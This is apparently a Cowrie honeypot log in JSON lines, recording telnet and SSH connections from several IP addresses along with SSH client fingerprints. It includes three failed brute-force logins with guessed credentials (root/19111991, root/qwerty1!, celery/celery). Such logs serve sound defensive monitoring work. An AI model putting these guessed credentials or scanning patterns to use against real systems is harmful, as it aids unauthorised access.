{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46034,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1e2f16be7b4","protocol":"telnet","message":"New connection: 69.4.83.194:46034 (159.203.135.109:23) [session: c1e2f16be7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:09.438988Z"}
{"eventid":"cowrie.session.closed","duration":33.89344906806946,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:41.999984Z","src_ip":"69.4.83.194","session":"75fb45f0938d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59990,"dst_ip":"159.203.135.109","dst_port":23,"session":"76eae06b5fbd","protocol":"telnet","message":"New connection: 69.4.83.194:59990 (159.203.135.109:23) [session: 76eae06b5fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:42.475989Z"}
{"eventid":"cowrie.session.closed","duration":36.499183893203735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:45.938088Z","src_ip":"69.4.83.194","session":"c1e2f16be7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33800,"dst_ip":"159.203.135.109","dst_port":23,"session":"a923cf6dc1b0","protocol":"telnet","message":"New connection: 69.4.83.194:33800 (159.203.135.109:23) [session: a923cf6dc1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:47.384432Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33860,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66459fd55ba","protocol":"telnet","message":"New connection: 69.4.83.194:33860 (159.203.135.109:23) [session: f66459fd55ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:48.604977Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36482,"dst_ip":"159.203.135.109","dst_port":23,"session":"64625f2d0d8c","protocol":"telnet","message":"New connection: 69.4.83.194:36482 (159.203.135.109:23) [session: 64625f2d0d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:54.290254Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40740,"dst_ip":"159.203.135.109","dst_port":23,"session":"293d002dcdbc","protocol":"telnet","message":"New connection: 69.4.83.194:40740 (159.203.135.109:23) [session: 293d002dcdbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:05.328997Z"}
{"eventid":"cowrie.session.closed","duration":37.08390974998474,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:19.559787Z","src_ip":"69.4.83.194","session":"76eae06b5fbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.590545654296875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:21.974893Z","src_ip":"69.4.83.194","session":"a923cf6dc1b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87973380088806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:23.484628Z","src_ip":"69.4.83.194","session":"f66459fd55ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":41526,"dst_ip":"159.203.135.109","dst_port":22,"session":"14cf4da146e7","protocol":"ssh","message":"New connection: 176.32.39.21:41526 (159.203.135.109:22) [session: 14cf4da146e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:27.166607Z"}
{"eventid":"cowrie.session.closed","duration":36.06508827209473,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:30.355248Z","src_ip":"69.4.83.194","session":"64625f2d0d8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54054,"dst_ip":"10.17.0.5","dst_port":23,"session":"868849f3bf62","protocol":"telnet","message":"New connection: 178.128.93.180:54054 (10.17.0.5:23) [session: 868849f3bf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:36.712885Z"}
{"eventid":"cowrie.session.closed","duration":33.208197355270386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:38.537066Z","src_ip":"69.4.83.194","session":"293d002dcdbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":60570,"dst_ip":"10.17.0.5","dst_port":23,"session":"662bad38ec81","protocol":"telnet","message":"New connection: 178.128.93.180:60570 (10.17.0.5:23) [session: 662bad38ec81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:05:48.385266Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":51720,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aff7222cf06","protocol":"telnet","message":"New connection: 178.128.93.180:51720 (10.17.0.5:23) [session: 1aff7222cf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:06:24.444774Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45660,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9bafca7e400","protocol":"telnet","message":"New connection: 69.4.83.194:45660 (159.203.135.109:23) [session: c9bafca7e400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:06:30.611198Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47532,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c72bd7132f","protocol":"telnet","message":"New connection: 69.4.83.194:47532 (159.203.135.109:23) [session: 35c72bd7132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:06:35.169864Z"}
{"eventid":"cowrie.session.closed","duration":62.08990478515625,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:06:38.802691Z","src_ip":"178.128.93.180","session":"868849f3bf62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c95a65a8b78","protocol":"telnet","message":"New connection: 69.4.83.194:57368 (159.203.135.109:23) [session: 2c95a65a8b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:06:59.018559Z"}
{"eventid":"cowrie.session.closed","duration":34.150179386138916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:04.761288Z","src_ip":"69.4.83.194","session":"c9bafca7e400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":44864,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ae3ffce536f","protocol":"telnet","message":"New connection: 165.22.57.101:44864 (159.203.135.109:23) [session: 3ae3ffce536f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:09.768673Z"}
{"eventid":"cowrie.session.closed","duration":36.17893147468567,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:11.348688Z","src_ip":"69.4.83.194","session":"35c72bd7132f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49408,"dst_ip":"159.203.135.109","dst_port":22,"session":"0852bcb97179","protocol":"ssh","message":"New connection: 87.251.79.125:49408 (159.203.135.109:22) [session: 0852bcb97179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:26.423890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:26.431011Z","src_ip":"87.251.79.125","session":"0852bcb97179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:26.503707Z","src_ip":"87.251.79.125","session":"0852bcb97179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19111991","message":"login attempt [root/19111991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:26.722533Z","src_ip":"87.251.79.125","session":"0852bcb97179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:27.171570Z","src_ip":"176.32.39.21","session":"14cf4da146e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:27.797496Z","src_ip":"87.251.79.125","session":"0852bcb97179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":56302,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a5af3860d7a","protocol":"telnet","message":"New connection: 165.22.57.101:56302 (159.203.135.109:23) [session: 3a5af3860d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:28.026044Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":57060,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e81e0832dc","protocol":"telnet","message":"New connection: 178.128.93.180:57060 (10.17.0.5:23) [session: b8e81e0832dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:30.323618Z"}
{"eventid":"cowrie.session.closed","duration":66.99962210655212,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:31.444324Z","src_ip":"178.128.93.180","session":"1aff7222cf06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77484893798828,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:33.793284Z","src_ip":"69.4.83.194","session":"2c95a65a8b78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.06589555740356,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:35.451061Z","src_ip":"178.128.93.180","session":"662bad38ec81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb79108a7b41","protocol":"telnet","message":"New connection: 178.128.93.180:36222 (10.17.0.5:23) [session: eb79108a7b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:44.986571Z"}
{"eventid":"cowrie.session.closed","duration":45.08870983123779,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:54.857254Z","src_ip":"165.22.57.101","session":"3ae3ffce536f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":59896,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca3a78c11d08","protocol":"telnet","message":"New connection: 165.22.57.101:59896 (159.203.135.109:23) [session: ca3a78c11d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:07:56.471481Z"}
{"eventid":"cowrie.session.closed","duration":39.25515794754028,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:07.280839Z","src_ip":"165.22.57.101","session":"3a5af3860d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.050084829330444,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:22.521473Z","src_ip":"165.22.57.101","session":"ca3a78c11d08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":38118,"dst_ip":"10.17.0.5","dst_port":23,"session":"afbbbfbc75f9","protocol":"telnet","message":"New connection: 178.128.93.180:38118 (10.17.0.5:23) [session: afbbbfbc75f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:38.167864Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":59092,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d5985f35300","protocol":"ssh","message":"New connection: 103.173.227.57:59092 (159.203.135.109:22) [session: 4d5985f35300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:43.032242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:43.037646Z","src_ip":"103.173.227.57","session":"4d5985f35300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:43.271739Z","src_ip":"103.173.227.57","session":"4d5985f35300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42030,"dst_ip":"159.203.135.109","dst_port":23,"session":"e17d85af495b","protocol":"telnet","message":"New connection: 69.4.83.194:42030 (159.203.135.109:23) [session: e17d85af495b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:43.614058Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1!","message":"login attempt [root/qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:43.974970Z","src_ip":"103.173.227.57","session":"4d5985f35300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:45.212825Z","src_ip":"103.173.227.57","session":"4d5985f35300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44050,"dst_ip":"159.203.135.109","dst_port":23,"session":"4424b7187ff8","protocol":"telnet","message":"New connection: 69.4.83.194:44050 (159.203.135.109:23) [session: 4424b7187ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:47.658695Z"}
{"eventid":"cowrie.session.closed","duration":67.3921446800232,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:52.378612Z","src_ip":"178.128.93.180","session":"eb79108a7b41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":47308,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c29b198f91e","protocol":"telnet","message":"New connection: 178.128.93.180:47308 (10.17.0.5:23) [session: 0c29b198f91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:53.666945Z"}
{"eventid":"cowrie.session.closed","duration":86.68475413322449,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:57.008265Z","src_ip":"178.128.93.180","session":"b8e81e0832dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":51442,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a9148f3ea7","protocol":"ssh","message":"New connection: 156.245.246.50:51442 (10.17.0.5:22) [session: f0a9148f3ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:57.139023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:57.144269Z","src_ip":"156.245.246.50","session":"f0a9148f3ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:57.354633Z","src_ip":"156.245.246.50","session":"f0a9148f3ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celery","password":"celery","message":"login attempt [celery/celery] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:58.220498Z","src_ip":"156.245.246.50","session":"f0a9148f3ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:08:59.434760Z","src_ip":"156.245.246.50","session":"f0a9148f3ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.234.167.219","src_port":56150,"dst_ip":"10.17.0.5","dst_port":23,"session":"be01adf991e1","protocol":"telnet","message":"New connection: 221.234.167.219:56150 (10.17.0.5:23) [session: be01adf991e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:04.367534Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":53514,"dst_ip":"10.17.0.5","dst_port":23,"session":"985ea09ee658","protocol":"telnet","message":"New connection: 178.128.93.180:53514 (10.17.0.5:23) [session: 985ea09ee658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:04.566630Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51830,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8c1f2712e2b","protocol":"telnet","message":"New connection: 69.4.83.194:51830 (159.203.135.109:23) [session: f8c1f2712e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:07.178526Z"}
{"eventid":"cowrie.session.closed","duration":12.79253101348877,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:17.159914Z","src_ip":"221.234.167.219","session":"be01adf991e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.650049924850464,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:17.263961Z","src_ip":"69.4.83.194","session":"e17d85af495b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":33414,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef24a44d44b3","protocol":"telnet","message":"New connection: 178.128.93.180:33414 (10.17.0.5:23) [session: ef24a44d44b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:19.043105Z"}
{"eventid":"cowrie.session.closed","duration":32.978872537612915,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:20.637481Z","src_ip":"69.4.83.194","session":"4424b7187ff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59328,"dst_ip":"159.203.135.109","dst_port":22,"session":"5088d1641ca1","protocol":"ssh","message":"New connection: 193.228.128.84:59328 (159.203.135.109:22) [session: 5088d1641ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:24.838793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:24.843714Z","src_ip":"193.228.128.84","session":"5088d1641ca1","protocol":"ssh"}
